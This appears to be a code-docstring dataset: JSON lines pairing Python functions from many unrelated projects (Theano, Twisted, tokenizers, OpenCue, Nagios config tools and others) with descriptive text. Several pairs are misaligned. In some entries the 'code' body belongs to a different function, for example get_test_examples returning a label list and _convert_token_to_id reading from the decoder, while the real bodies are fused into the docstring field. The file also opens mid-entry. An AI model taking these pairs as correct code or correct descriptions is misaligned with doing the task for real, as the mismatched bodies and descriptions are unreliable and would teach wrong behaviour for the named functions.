Falsenp.save(\"knapsack.npy\", knapsack_matrix)def knapsack_search(knapsack_matrix, peptide_mass, mass_precision_tolerance):TODO(nh2tran): docstring."} {"code": "def pairs(self) -> Mapping[str, DataType]:\n return dict(zip(self.names, self.types))\n", "nl": "Return a mapping from names to data type instances.Returns-------Mapping[str, DataType]Mapping of field name to data type"} {"code": "def local_inplace_remove0(node):\n if isinstance(node.op, sparse.Remove0) and not node.op.inplace:\n new_op = node.op.__class__(inplace=True)\n new_node = new_op(*node.inputs)\n return [new_node]\n return False\n\ntheano.compile.optdb.register(\n 'local_inplace_remove0',\n gof.TopoOptimizer(local_inplace_remove0,\n failure_callback=gof.TopoOptimizer.warn_inplace),\n 60, 'fast_run', 'inplace')\n\n\nclass AddSD_ccode(gof.op.Op):\n \"\"\"\n\n __props__ = (\"format\", \"inplace\")\n", "nl": "Optimization to insert inplace versions of Remove0."} {"code": "def toMIRCControlCodes(self):\n attrs = []\n if self.bold:\n attrs.append(_BOLD)\n if self.underline:\n attrs.append(_UNDERLINE)\n if self.reverseVideo:\n attrs.append(_REVERSE_VIDEO)\n if self.foreground is not None or self.background is not None:\n c = ''\n if self.foreground is not None:\n c += '%02d' % (self.foreground,)\n if self.background is not None:\n c += ',%02d' % (self.background,)\n attrs.append(_COLOR + c)\n return _OFF + ''.join(map(str, attrs))\n\n\n", "nl": "Emit a mIRC control sequence that will set up all the attributes thisformatting state has set.@return: A string containing mIRC control sequences that mimic thisformatting state."} {"code": "def _sort_by_region(fnames, regions, ref_file, config):\n contig_order = {}\n for i, sq in enumerate(ref.file_contigs(ref_file, config)):\n contig_order[sq.name] = i\n sitems = []\n assert len(regions) == len(fnames), (regions, fnames)\n added_fnames = set([])\n for region, fname in zip(regions, fnames):\n if fname not in added_fnames:\n if isinstance(region, (list, tuple)):\n c, s, e = region\n elif isinstance(region, six.string_types) and region.find(\":\") >= 0:\n c, coords = region.split(\":\")\n s, e = [int(x) for x in coords.split(\"-\")]\n else:\n c = region\n s, e = 0, 0\n sitems.append(((contig_order[c], s, e), c, fname))\n added_fnames.add(fname)\n sitems.sort()\n return [(x[1], x[2]) for x in sitems]\n", "nl": "Sort a set of regionally split files by region for ordered output."} {"code": "def parse_section_package_data(self, section_options):\n self['package_data'] = self._parse_package_data(section_options)\n", "nl": "Parses `package_data` configuration file section.:param dict section_options:"} {"code": "def to_Array(self):\n if not isinstance(self, A.Array):\n return self.result().sum(start=start)\n return self.sum(start=start)\n", "nl": " Converts all iterables in the Array to Arrays return A.Array(map(lambda e: A.Array(e).to_Array()if (isinstance(e, A.Iterable) and not isinstance(e, str))else e,self,))def sum_(self, start=0): Returns the sum of the elements. "} {"code": "def get_test_examples(self, data_dir):\n return [\"0\", \"1\"]\n", "nl": "See base class.return self._create_examples(self._read_tsv(os.path.join(data_dir, \"test.tsv\")), \"test\")def get_labels(self):See base class."} {"code": "def get_dev_examples(self, data_dir):\n return self._create_examples(\n self._read_tsv(os.path.join(data_dir, \"test_matched.tsv\")), \"test_matched\"\n )\n", "nl": "See base class.return self._create_examples(self._read_tsv(os.path.join(data_dir, \"dev_matched.tsv\")), \"dev_matched\")def get_test_examples(self, data_dir):See base class."} {"code": "def export_db_dump(location):\n conn = psycopg2.connect(**current_app.config[\"PG_INFO\"])\n create_path(location)\n time_now = datetime.today()\n\n archive_name = \"mbspotify-dump-%s\" % time_now.strftime(\"%Y%m%d-%H%M%S\")\n archive_path = os.path.join(location, archive_name + \".tar.xz\")\n\n with open(archive_path, \"w\") as archive:\n pxz_command = [\"pxz\", \"--compress\"]\n pxz = subprocess.Popen(pxz_command,\n stdin=subprocess.PIPE,\n stdout=archive)\n\n with tarfile.open(fileobj=pxz.stdin, mode=\"w|\") as tar:\n output = io.StringIO(time_now.isoformat(\" \"))\n add_tarfile(tar, os.path.join(archive_name, \"TIMESTAMP\"), output)\n\n tar.add(DUMP_LICENSE_FILE_PATH,\n arcname=os.path.join(archive_name, \"COPYING\"))\n\n cur = conn.cursor()\n for table_name in _TABLES:\n output = io.StringIO()\n print(\" - Copying table %s...\" % table_name)\n cur.copy_to(output, \"(SELECT %s FROM %s)\" %\n (\", \".join(_TABLES[table_name]), table_name))\n add_tarfile(tar,\n os.path.join(archive_name, \"dump\", table_name),\n output)\n\n pxz.stdin.close()\n pxz.wait()\n\n conn.close()\n return archive_path\n\n", "nl": "Exports a full database dump to the specified location.Args:location: Directory where the archive will be created.Returns:Path to the created archive."} {"code": "def matchup(self):\n return self._rep_reader.matchup\n", "nl": "Return the game meta information displayed in report banners including team names,final score, game date, location, and attendance. Data format is.. code:: python{'home': home,'away': away,'final': final,'attendance': att,'date': date,'location': loc}:returns: matchup banner info:rtype: dict"} {"code": "def createFrameOnJobDepend(job, layer, frame, onjob):\n\n __is_valid(job, ERR_INVALID_ER_JOB)\n __is_valid(layer, ERR_INVALID_ER_LAYER)\n __is_valid(frame, ERR_INVALID_ER_FRAME)\n __is_valid(onjob, ERR_INVALID_ON_JOB)\n\n logger.debug(\"creating foj depend from %s/%s-%04d to %s\", job, layer, frame, onjob)\n depend_er_frame = opencue.api.findFrame(job, layer, frame)\n return depend_er_frame.createDependencyOnJob(opencue.api.findJob(onjob))\n\n", "nl": "Creates a frame on job dependency@type job: string@param job: the name of the dependant job@type layer: string@param layer: the name of the dependant layer@type frame: int@param frame: the number of the dependant frame@type onjob: string@param onjob: the name of the job to depend on@rtype: Depend@return: the created dependency"} {"code": "def glob_to_regex(glob):\n ans = \"\"\n for token, data in tokenize(glob):\n if token == TokenType.PATH_SEPARATOR:\n ans += re.escape(\".\")\n elif token == TokenType.LITERAL:\n ans += re.escape(data)\n elif token == TokenType.WILD_CHAR:\n ans += \".\"\n elif token == TokenType.WILD_SEQUENCE:\n ans += \"[^.]*\"\n elif token == TokenType.WILD_PATH:\n ans += \".*\"\n elif token == TokenType.CHAR_SELECT_BEGIN:\n ans += \"[\"\n elif token == TokenType.CHAR_SELECT_NEGATED_BEGIN:\n ans += \"[^\"\n elif token == TokenType.CHAR_SELECT_RANGE_DASH:\n ans += \"-\"\n elif token == TokenType.CHAR_SELECT_END:\n ans += \"]\"\n elif token == TokenType.EXPR_SELECT_BEGIN:\n ans += \"(\"\n elif token == TokenType.EXPR_SELECT_SEPARATOR:\n ans += \"|\"\n elif token == TokenType.EXPR_SELECT_END:\n ans += \")\"\n else:\n raise Exception(\"Unexpected token type '%s' with data '%s'\" % (token, data))\n return \"^\" + ans + \"$\"\n\n", "nl": "Convert a Graphite globbing pattern into a regular expression.This function does not check for glob validity, if you want usable regexesthen you must check _is_valid_glob() first.Uses _tokenize() to obtain a token stream, then does simple substitutionfrom token type and data to equivalent regular expression.It handles * as being anything except a dot.It returns a regex that only matches whole strings (i.e. ^regex$).Args:glob: Valid Graphite glob pattern.Returns:Regex corresponding to the provided glob."} {"code": "def _convert_token_to_id(self, token):\n return self.decoder.get(index, self.unk_token)\n", "nl": " Converts a token (str) in an id using the vocab. return self.encoder.get(token, self.encoder.get(self.unk_token))def _convert_id_to_token(self, index):Converts an id in a token (BPE) using the vocab."} {"code": "def _expand_group_config(group_config):\n group_config = copy.deepcopy(group_config)\n expanded = {}\n if isinstance(group_config, (tuple, list, set)):\n for dependent in group_config:\n config = copy.copy(DEFAULT_PARSER_DEPENDENT_CONFIG)\n try:\n dep_type = dependent.pop(\"type\")\n config.update(dependent)\n except (AttributeError, ValueError):\n dep_type = dependent\n expanded[dep_type.replace(\"|\", \"--\")] = config\n else:\n for dep_type, dep_config in group_config.items():\n config = copy.copy(DEFAULT_PARSER_DEPENDENT_CONFIG)\n dep_config.pop(\"type\", None)\n config.update(dep_config)\n expanded[dep_type.replace(\"|\", \"--\")] = config\n return expanded\n\n", "nl": "Expands a parser group configuration.A group config can either be a list of dependents or a dictionary with afield for each dependent.In the list a dependent can be a string containing the name of theentity-role type identifier or a dictionary with at least a type field.In the dictionary the dependent must be another dictionary.Some example parser configs follow below.A very simple configuration:{'head': ['dependent']}A more realistic simple config:{'product|beverage': ['size', 'quantity', 'option|beverage'],'product|baked-good': ['size', 'quantity', 'option|baked-good'],'store': ['location'],'option': ['size']}A fully specified config:{'product': {'quantity': {'left': True,'right': True,'precedence': 'left','min_instances': 0,'max_instances': 3},'size': {'left': True,'right': True,'precedence': 'left','min_instances': 0,'max_instances': 1},'option': {'left': True,'right': True,'precedence': 'left','min_instances': 0,'max_instances': 1}},'store': {'location': {'left': True,'right': True,'precedence': 'left','min_instances': 0,'max_instances': 1}},'option': {'size': {'left': True,'right': True,'precedence': 'left','min_instances': 0,'max_instances': 1}}}"} {"code": "def link_status(self,if_name):\n\n result = \"\"\n output = self._vchannel.cmd(\"show interface %s terse | grep \\\"%s \\\"\" % (if_name,if_name))\n tmp = re.split('\\s+',output.split(\"\\n\")[0].strip())\n if len(tmp) == 3:\n result = tmp[1] + \" \" + tmp[2]\n BuiltIn().log(\"Got link status of `%s`: %s %s\" % (if_name,tmp[1],tmp[2]))\n else:\n raise Exception(\"Error while getting link status of `%s`\" % if_name)\n\n return result\n\n", "nl": " Returns link physical status as string (aka: \"up down\", \"up up\")"} {"code": "def _get_entry(self, key: EntryKeyType) -> Changeable:\n with self._lock:\n if key in self._temporary_database:\n entry = self._temporary_database[key]\n elif key in self._history_database:\n entry = self._temporary_database[key] = self._history_database[\n key\n ].get_current_entry()\n else:\n entry = self._temporary_database[\n key\n ] = self._get_register_original_entry(key)\n if entry is None:\n raise self.DoesNotExistError\n return entry\n", "nl": "Get a key from the database.Subclasses should implement a proper method calling this."} {"code": "def _prepare_certs(confdir, registries):\n certs_dir = os.path.join(confdir, 'certs.d')\n\n for registry in registries:\n if registry.get('insecure', False):\n continue\n\n cert_dir = os.path.join(certs_dir, registry['host'])\n fs.mkdir_safe(cert_dir)\n\n if 'ca_cert' in registry:\n fs.symlink_safe(\n os.path.join(cert_dir, 'ca.crt'),\n registry['ca_cert']\n )\n if 'client_cert' in registry:\n fs.symlink_safe(\n os.path.join(cert_dir, 'client.cert'),\n registry['client_cert']\n )\n if 'client_key' in registry:\n fs.symlink_safe(\n os.path.join(cert_dir, 'client.key'),\n registry['client_key']\n )\n\n\n__all__ = (\n 'get_conf',\n 'get_ulimits',\n 'prepare_docker_confdir',\n)", "nl": "prepare certficate for docker daemon"} {"code": "def rename(self, shortname):\n old_name = self.get_shortname()\n super(Contactgroup, self).rename(shortname)\n\n for i in Host.objects.filter(contactgroups__has_field=old_name):\n i.attribute_replacefield('contactgroups', old_name, shortname)\n i.save()\n for i in Service.objects.filter(contactgroups__has_field=old_name):\n i.attribute_replacefield('contactgroups', old_name, shortname)\n i.save()\n for i in Contact.objects.filter(contactgroups__has_field=old_name):\n i.attribute_replacefield('contactgroups', old_name, shortname)\n i.save()\n\n\nclass Hostgroup(ObjectDefinition):\n object_type = 'hostgroup'\n objects = ObjectFetcher('hostgroup')\n", "nl": " Renames this object, and triggers a change in related items as well.Args:shortname: New name for this objectReturns:None"} {"code": "def test_custom_ua_4(self):\n\t\texpect_headers = {\n\t\t\t'User-Agent' : r\"wat\" * 5000\n\t\t}\n\t\tself.fetch_check_headers(expect_headers)\n\n", "nl": "Or ridiculously long"} {"code": "def test_sendCommandWithPrefix(self):\n self.p.sendCommand(u\"CMD\", (u\"param1\", u\"param2\"), u\"irc.example.com\")\n self.check(b\":irc.example.com CMD param1 param2\\r\\n\")\n\n", "nl": "Passing a command and parameters with a specified prefix toL{IRC.sendCommand} results in a proper query string including thespecified line prefix."} {"code": "def frame_size(self) -> Tuple[int, int]:\n return True\n\n @property", "nl": "Size of each video frame in pixels as a tuple of (width, height).return (math.trunc(self._cap_list[0].get(cv2.CAP_PROP_FRAME_WIDTH)),math.trunc(self._cap_list[0].get(cv2.CAP_PROP_FRAME_HEIGHT)))@propertydef is_seekable(self) -> bool:Just returns True."} {"code": "def getStatusChangeTime():\n", "nl": "Retrieve the time of the last status change for this file.@return: a number of seconds from the epoch.@rtype: L{float}"} {"code": "def child_bar(self, context):\n return ChildPage('bar')\n", "nl": "A resource that is always called 'bar' but is created per-request"} {"code": "def activate_window(self):\n if self.proxy_is_active:\n self.proxy.activate_window()\n", "nl": " Set this window to be the active application window.This performs the same operation as clicking the mouse on thetitle bar of the window, except that it will not effect the Zorder of the window.On Windows, this will cause the taskbar icon to flash if thewindow does not belong to the active application."} {"code": "def disableMouse(self):\n if nodePath:\n return DNASTORE.findDNAGroup(nodePath.node())\n else:\n return None\n", "nl": " Disable Pie Menu interaction # Disable handling of mouse eventsself.ignore('DIRECT-mouse3')self.ignore('DIRECT-mouse3Up')# LEVEL OBJECT MANAGEMENT FUNCTIONSdef findDNANode(self, nodePath): Find node path's DNA Object in DNAStorage (if any) "} {"code": "def quote(s):\n if not isinstance(s, basestring):\n return s\n res = list(s)\n for i in range(len(res)):\n c = res[i]\n if c in \"\"\":/_", "nl": "Ensure that primary key values do not confuse the admin URLs by escapingany '/', '_' and ':' characters. Similar to urllib.quote, except that thequoting is slightly different so that it doesn't get automaticallyunquoted by the Web browser."} {"code": "def test_lambdaRaisesPicklingError(self):\n self.assertRaises(pickle.PicklingError, pickle.dumps, lambdaExample)\n try:\n import cPickle\n except:\n pass\n else:\n self.assertRaises(cPickle.PicklingError, cPickle.dumps,\n lambdaExample)", "nl": "Pickling a C{lambda} function ought to raise a L{pickle.PicklingError}."} {"code": "def as_a_dict(self):\n index_dict = {\n 'ddoc': self._ddoc_id,\n 'name': self._name,\n 'type': self._type,", "nl": "Displays the index as a dictionary. This includes the design documentid, index name, index type, and index definition.:returns: Dictionary representation of the index as a dictionary"} {"code": "def listenUDP(port, protocol, interface='', maxPacketSize=8192):\n\n\n\nclass IReactorMulticast(Interface):\n \"\"\"\n", "nl": "Connects a given L{DatagramProtocol} to the given numeric UDP port.@param port: A port number on which to listen.@type port: C{int}@param protocol: A L{DatagramProtocol} instance which will beconnected to the given C{port}.@type protocol: L{DatagramProtocol}@param interface: The local IPv4 or IPv6 address to which to bind;defaults to '', ie all IPv4 addresses.@type interface: C{str}@param maxPacketSize: The maximum packet size to accept.@type maxPacketSize: C{int}@return: object which provides L{IListeningPort}."} {"code": "def OutShape(self, in_shape):\n\n Args:\n theta: A `.NestedMap` object containing weights' values of this layer and\n its children layers.\n inputs: The inputs tensor. It is expected to be of shape [batch, time,\n frequency, channel]. The time dimension corresponds to the height\n dimension as in images and the frequency dimension corresponds to the\n width dimension as in images.\n paddings: The paddings tensor. It is expected to be of shape [batch,\n time]. Defaults to None, which means there no paddings.\n\n Returns:\n An (output, paddings) tensor tuple if paddings is not None, else just\n output tensor.\n \"\"\"\n\n This layer blurs the input with a fixed filter and performs subsampling\n afterwards. Only supports 2x1 or 2x2 spatial reduction.\n \"\"\"", "nl": "Compute the output shape given the input shape.return self.OutputShape(self.params, in_shape)def FProp(self,theta: py_utils.NestedMap,inputs: tf.Tensor,paddings: Optional[tf.Tensor] = None,) -> Union[tf.Tensor, Tuple[tf.Tensor, tf.Tensor]]:Apply pooling to inputs."} {"code": "def test_annotate_block_in(self):\n get an annotation for the first one.\"\"\"", "nl": "Ensure we get an annotation for a target blockqueryset = StreamBlockPageQuerySet(DefaultStreamPage)annotated_queryset = queryset.block_in_field(\"text\", \"body\").annotate_block_in(\"text\", \"body\")self.assertEqual(annotated_queryset.count(), 1)self.assertEqual(annotated_queryset[0].text_value, \"Test text\")def test_annotate_block_in_multiple_blocks(self):If we have multiple target_blocks in a StreamField, ensure we only"} {"code": "def __init__(self,entityCount=2,featureChoice=None,tfidf=True):\n\n\t\tself.fitted = False\n\n\t\tassert isinstance(entityCount, int)\n\t\tself.entityCount = entityCount\n\n\t\tself._registerFunctions()\n\t\tvalidFeatures = self.featureInfo.keys()\n\n\t\tif featureChoice is None:\n\t\t\tself.chosenFeatures = ['entityTypes','unigramsBetweenEntities','bigrams','dependencyPathEdges','dependencyPathEdgesNearEntities']\n\t\telse:\n\t\t\tassert isinstance(featureChoice,list)\n\t\t\tfor f in featureChoice:\n\t\t\t\tassert f in validFeatures, \"Feature (%s) is not a valid feature\" % f\n\t\t\tself.chosenFeatures = featureChoice\n\n\t\tself.tfidf = tfidf\n\n\n\t\tself.dictVectorizers = {}\n\t\tself.tfidfTransformers = {}\n", "nl": "Constructor for vectorizer class with options for what features to use and whether to normalize using TFIDF:param entityCount: Number of entities in candidate relations to vectorize:param featureChoice: List of features (can be one or a set of the following: 'entityTypes', 'unigramsBetweenEntities', 'bigrams', 'dependencyPathEdges', 'dependencyPathEdgesNearEntities'). Set as None to use all of them.:param tfidf: Whether to normalize n-gram based features using term frequency-inverse document frequency:type entityCount: int:type featureChoice: list of str:type tfidf: bool"} {"code": "def get_default_compiler(osname=None, platform=None):\n if osname is None:\n osname = os.name\n if platform is None:\n platform = sys.platform", "nl": "Determine the default compiler to use for the given platform.osname should be one of the standard Python OS names (i.e. theones returned by os.name) and platform the common valuereturned by sys.platform for the platform in question.The default values are os.name and sys.platform in case theparameters are not given."} {"code": "def build_node_repr(name):\n peer = get_specific_port(DISCOVERY_SERVICE_NAME, name, 'peer')\n election = get_specific_port(DISCOVERY_SERVICE_NAME, name, 'leader_election') or get_specific_port(DISCOVERY_SERVICE_NAME, name, 'election')\n client = get_specific_port(DISCOVERY_SERVICE_NAME, name, 'client', 2181)\n node_repr = '{}:{}:{}:participant;{}'.format(\n get_specific_host(DISCOVERY_SERVICE_NAME, name), peer, election, client)\n\n if (not peer) or (not election) or (not client):\n print('Failed to build node representation: %s' % node_repr)\n sys.exit(1)\n return node_repr\n\n\nif os.environ.get('ZOOKEEPER_SERVER_IDS'):\n servers = os.environ['ZOOKEEPER_SERVER_IDS'].split(',')\n for server in servers:\n node, server_id = server.split(':')\n dynamic_conf['server.{}'.format(server_id)] = build_node_repr(node)\n if node == CONTAINER_NAME:\n ZOOKEEPER_NODE_ID = server_id\n\nZOOKEEPER_ADDITIONAL_NODE_COUNT = 0\nif os.environ.get('ZOOKEEPER_ADDITIONAL_SERVERS'):\n servers = os.environ['ZOOKEEPER_ADDITIONAL_SERVERS'].split(',')\n ZOOKEEPER_ADDITIONAL_NODE_COUNT = len(servers)\n for server in servers:\n server_id, node_repr = server.split('=')\n dynamic_conf[server_id] = node_repr\n\nZOOKEEPER_NODE_COUNT = os.environ.get('ZK_REPLICAS') or (len(get_node_list(DISCOVERY_SERVICE_NAME)) + ZOOKEEPER_ADDITIONAL_NODE_COUNT)\nZOOKEEPER_NODE_COUNT = int(ZOOKEEPER_NODE_COUNT)\nZOOKEEPER_CLUSTER_SIZE = len(\n [i for i in dynamic_conf.keys() if i.startswith('server.')])\n", "nl": "Build the representation of a node with peer and leader-electionports."} {"code": "def name(self):\n return self._name\n\n @name.setter", "nl": "Gets the name of this V1VolumeMount. # noqa: E501This must match the Name of a Volume. # noqa: E501:return: The name of this V1VolumeMount. # noqa: E501:rtype: str"} {"code": "def prev_key(self, key):\n return self.prev_item(key)[0]\n", "nl": "Get predecessor to key, raises KeyError if key is min keyor key does not exist."} {"code": "def hvac_mode(self):\n if not self.instrument.hvac_mode:\n return HVAC_MODE_OFF\n\n hvac_modes = {\n \"HEATING\": HVAC_MODE_HEAT,\n \"COOLING\": HVAC_MODE_COOL,\n }\n return hvac_modes.get(self.instrument.hvac_mode, HVAC_MODE_OFF)\n\n @property", "nl": "Return hvac operation ie. heat, cool mode.Need to be one of HVAC_MODE_*."} {"code": "def text_field(name, value=None, **options):\n _update_fa(options, name)\n return text(name, value=value, **options)\n", "nl": "Creates a standard text field.``value`` is a string, the content of the text fieldOptions:* ``disabled`` - If set to True, the user will not be able to use this input.* ``size`` - The number of visible characters that will fit in the input.* ``maxlength`` - The maximum number of characters that the browser will allow the user to enter.Remaining keyword options will be standard HTML options for the tag."} {"code": "def _sanity_check(name, package, level):\n with _ModuleLockManager(name):\n module = sys.modules.get(name, _NEEDS_LOADING)\n if module is _NEEDS_LOADING:\n return _find_and_load_unlocked(name, import_)\n\n if module is None:\n message = ('import of {} halted; '\n 'None in sys.modules'.format(name))\n raise ModuleNotFoundError(message, name=name)\n\n _lock_unlock_module(name)\n return module\n\n", "nl": "Verify arguments are \"sane\".if not isinstance(name, str):raise TypeError('module name must be str, not {}'.format(type(name)))if level < 0:raise ValueError('level must be >= 0')if level > 0:if not isinstance(package, str):raise TypeError('__package__ not set to a string')elif not package:raise ImportError('attempted relative import with no known parent ''package')if not name and level == 0:raise ValueError('Empty module name')_ERR_MSG_PREFIX = 'No module named '_ERR_MSG = _ERR_MSG_PREFIX + '{!r}'def _find_and_load_unlocked(name, import_):path = Noneparent = name.rpartition('.')[0]if parent:if parent not in sys.modules:_call_with_frames_removed(import_, parent)# Crazy side-effects!if name in sys.modules:return sys.modules[name]parent_module = sys.modules[parent]try:path = parent_module.__path__except AttributeError:msg = (_ERR_MSG + '; {!r} is not a package').format(name, parent)raise ModuleNotFoundError(msg, name=name) from Nonespec = _find_spec(name, path)if spec is None:raise ModuleNotFoundError(_ERR_MSG.format(name), name=name)else:module = _load_unlocked(spec)if parent:# Set the module as an attribute on its parent.parent_module = sys.modules[parent]setattr(parent_module, name.rpartition('.')[2], module)return module_NEEDS_LOADING = object()def _find_and_load(name, import_):Find and load the module."} {"code": "def rand_aligned_slices(maxdim=5, maxshape=16):\n ndim = randrange(1, maxdim+1)\n minshape = 2\n n = randrange(100)\n if n >= 95:\n minshape = 0\n elif n >= 90:\n minshape = 1\n all_random = True if randrange(100) >= 80 else False\n lshape = [0]*ndim; rshape = [0]*ndim\n lslices = [0]*ndim; rslices = [0]*ndim\n\n for n in range(ndim):\n small = randrange(minshape, maxshape+1)\n big = randrange(minshape, maxshape+1)\n if big < small:\n big, small = small, big\n\n if all_random:\n start = randrange(-small, small+1)\n stop = randrange(-small, small+1)\n step = (1,-1)[randrange(2)] * randrange(1, small+2)\n s_small = slice(start, stop, step)\n _, _, _, slicelen = slice_indices(s_small, small)\n else:\n slicelen = randrange(1, small+1) if small > 0 else 0\n s_small = randslice_from_slicelen(slicelen, small)\n\n s_big = randslice_from_slicelen(slicelen, big)\n if randrange(2) == 0:\n rshape[n], lshape[n] = big, small\n rslices[n], lslices[n] = s_big, s_small\n else:\n rshape[n], lshape[n] = small, big\n rslices[n], lslices[n] = s_small, s_big\n\n return lshape, rshape, tuple(lslices), tuple(rslices)\n", "nl": "Create (lshape, rshape, tuple(lslices), tuple(rslices)) such thatshapeof(x[lslices]) == shapeof(y[rslices]), where x is an arraywith shape 'lshape' and y is an array with shape 'rshape'."} {"code": "def set_speed_limit(self, speed_limit):\n self.acceleration_limit = acceleration_limit\n", "nl": "Set speed parameter.self.speed_limit = speed_limitdef set_acceleration_limit(self, acceleration_limit):Set acceleration parameter."} {"code": "def process_graph(self, G):\n\n G = nx.from_edgelist(G.edge_index.T.tolist())\n return G", "nl": "Process the raw PyG data object into a tuple of sub dataobjects needed for the model.Parameters----------G : PyTorch Geometric Data instance (torch_geometric.data.Data)The input data.Returns-------G : networkx.classes.graph.GraphNetworkX Graph"} {"code": "def run_local_analysis(output_dir, csv_file_pattern, schema, features):\n sys.stdout.write('Expanding any file patterns...\\n')\n sys.stdout.flush()\n header = [column['name'] for column in schema]\n input_files = []\n for file_pattern in csv_file_pattern:\n input_files.extend(file_io.get_matching_files(file_pattern))\n sys.stdout.write('file list computed.\\n')\n sys.stdout.flush()\n", "nl": "Use pandas to analyze csv files.Produces a stats file and vocab files.Args:output_dir: output foldercsv_file_pattern: list of csv file paths, may contain wildcardsschema: CSV schema listfeatures: features configRaises:ValueError: on unknown transfrorms/schemas"} {"code": "def find(self, **kwargs) -> pd.DataFrame():\n if df.empty:\n return df\n\n if 'lastUpdate' in df.columns:\n df['lastUpdate'] = humanize_timestamp(df.lastUpdate,\n self.cfg.get('analyzer', {})\n .get('timezone', None))\n\n return super().humanize_fields(df)", "nl": "Find network attach point for a given addressaddresses = kwargs.get('address', '')if not self.ctxt.engine:raise AttributeError('No analysis engine specified')if not addresses:raise AttributeError('Must specify address')for addr in addresses:try:ip_address(addr)except ValueError:addr = convert_macaddr_format_to_colon(addr)if not validate_macaddr(addr):return pd.DataFrame({'error': [f'Not valid IP or MAC address: {addr}']})try:self._check_input_for_valid_args(self._valid_find_args, **kwargs)except (ValueError, AttributeError) as error:df = pd.DataFrame({'error': [f'{error}']})return dfreturn self.engine.find(**kwargs)def get(self, **kwargs) -> pd.DataFrame:return self._run_deprecated_function(table='namespace', command='get',**kwargs)def summarize(self, **kwargs) -> pd.DataFrame:return self._run_deprecated_function(table='namespace',command='summarize', **kwargs)def top(self, what: str = '', count: int = 5, reverse: bool = False,**kwargs) -> pd.DataFrame:return self._run_deprecated_function(table='namespace', command='top',what=what, count=count,reverse=reverse, **kwargs)def unique(self, **kwargs) -> pd.DataFrame:return self._run_deprecated_function(table='namespace',command='unique', **kwargs)def humanize_fields(self, df: pd.DataFrame, _=None) -> pd.DataFrame:Humanize the timestamp fields"} {"code": "def get_memory_player(self, name):\n try:\n return self.players[name]\n except KeyError:\n self.players[name] = {\n \"sel1\": None, \"sel2\": None, \"dim1\": None, \"dim2\": None,\n \"regusing\": None,\n \"wand\": self.api.minecraft.getPlayer(\n name).hasPermission(\"region.wand\")\n }\n return self.players[name]\n", "nl": "Get the player's selection data. Selection data is not savedbetween reboots.:param name: valid player name.:returns: A dictionary of player selection data.{\"sel1\"\"sel2\"\"dim1\"\"dim2\"\"regusing\"\"wand\"}"} {"code": "def getLog(self, identifier):\n filename = \"%s.%d\" % (self.path, identifier)\n if not os.path.exists(filename):\n raise ValueError(\"no such logfile exists\")\n return LogReader(filename)\n", "nl": "Given an integer, return a LogReader for an old log file."} {"code": "def id(self):\n return self.__options.get('_dc', None)\n\n @id.setter", "nl": "Returns the id of this query if set, else None"} {"code": "def collect_metrics(self, **kwargs):\n plugins = []\n\n try:\n if self.collector.task_metadata is not None:\n containers = self.collector.task_metadata.get(\"Containers\", [])\n for container in containers:\n plugin_data = dict()\n plugin_data[\"name\"] = \"com.instana.plugin.aws.ecs.container\"\n try:\n labels = container.get(\"Labels\", {})\n name = container.get(\"Name\", \"\")\n task_arn = labels.get(\"com.amazonaws.ecs.task-arn\", \"\")\n plugin_data[\"entityId\"] = \"%s::%s\" % (task_arn, name)\n\n plugin_data[\"data\"] = DictionaryOfStan()\n if self.collector.root_metadata[\"Name\"] == name:\n plugin_data[\"data\"][\"instrumented\"] = True\n plugin_data[\"data\"][\"dockerId\"] = container.get(\"DockerId\", None)\n plugin_data[\"data\"][\"taskArn\"] = labels.get(\"com.amazonaws.ecs.task-arn\", None)\n\n if kwargs.get(\"with_snapshot\"):\n plugin_data[\"data\"][\"runtime\"] = \"python\"\n plugin_data[\"data\"][\"dockerName\"] = container.get(\"DockerName\", None)\n plugin_data[\"data\"][\"containerName\"] = container.get(\"Name\", None)\n plugin_data[\"data\"][\"image\"] = container.get(\"Image\", None)\n plugin_data[\"data\"][\"imageId\"] = container.get(\"ImageID\", None)", "nl": "Collect and return metrics (and optionally snapshot data) for every container in this task@return: list - with one or more plugin entities"} {"code": "def _load_pascal_annotation(self, index):\n filename = os.path.join(self._data_path, 'Annotations', index + '.xml')", "nl": "Load image and bounding boxes info from XML file in the PASCAL VOCformat."} {"code": "def process(self, filename=None, *args, **kwargs):\nSHRP - a pitch determination algorithm based on subharmonic-to-harmonic ratio.\n\"\"\"", "nl": "Returns subharmonic-to-harmonic ratio and Pitch from Subharmonics.try:if filename is None:filename = self.args['file_path']# filename = self.args[\"file_path\"]# If it's an mp3, convert it to wavif filename[-3:].lower() != \"wav\":tmp_praat_object = parselmouth.Sound(filename)# If it's stereo, convert it to monumber_of_channels = call(tmp_praat_object, 'Get number of channels')if number_of_channels == 2:tmp_praat_object = call(tmp_praat_object, 'Convert to mono')tmp_praat_object.save(\"tmp.wav\", \"WAV\")filename = 'tmp.wav'wav_data, wavdata_int, fps = wavread(filename)shr, f0 = shr_pitch(wav_data, fps, datalen=200)mean_shr = np.nanmean(shr)median_shr = np.nanmedian(shr)sd_shr = np.nanstd(shr)mean_f0 = np.nanmean(f0)return {\"subharmonic-to-harmonic ratio\": mean_shr.item(),\"Subharmonic Mean Pitch\": mean_f0.item(),\"Subharmonic Median Pitch\": median_shr.item(),\"Subharmonic Stdev of Pitch\": sd_shr.item(),\"Subharmonic Pitch Values\": f0.tolist() # padded or truncated to 200 values}except Exception as e:return {\"subharmonic-to-harmonic ratio\": str(e),\"Subharmonic Mean Pitch\": str(e),\"Subharmonic Median Pitch\": str(e),\"Subharmonic Stdev of Pitch\": str(e),\"Subharmonic Pitch Values\": str(e),}"} {"code": "def get_current_entry(self):\n if self._current_revision_index <= 0:\n raise Exception(\n \"Cannot undo past revision 0\"\n )\n self._current_revision_index -= 1\n", "nl": "Get the entry at the current revision.raise NotImplementedErrordef undo(self):Decrement the state of the entry to the previous revision."} {"code": "def write_to_image_file(self, file_name, content, w_append=False):\n\n try:\n try:\n self.mount_all()\n if w_append:\n self.g.write_append(file_name, content)\n else:\n self.g.write(file_name, content)\n except Exception:\n raise exceptions.TestError(\"write '%s' to file '%s' error!\"\n % (content, file_name))\n finally:\n self.umount_all()\n", "nl": "Write content to the file on the guest disk.When using this method all the original content will be overriding.if you don't hope your original data be override set ``w_append=True``.:param file_name: the file you want to write:param content: the content you want to write.:param w_append: append the content or override"} {"code": "def reg_loss(self):\n reg_1, reg_2 = self.regs[:2]\n loss_1 = reg_1 * self.item_embedding.weight.norm(2)\n loss_2 = reg_1 * self.k_embedding.weight.norm(2)\n loss_3 = 0\n for name, parm in self.encoder.named_parameters():\n if name.endswith('weight'):\n loss_3 = loss_3 + reg_2 * parm.norm(2)\n return loss_1 + loss_2 + loss_3\n", "nl": "rCalculate the L2 normalization loss of model parameters.Including 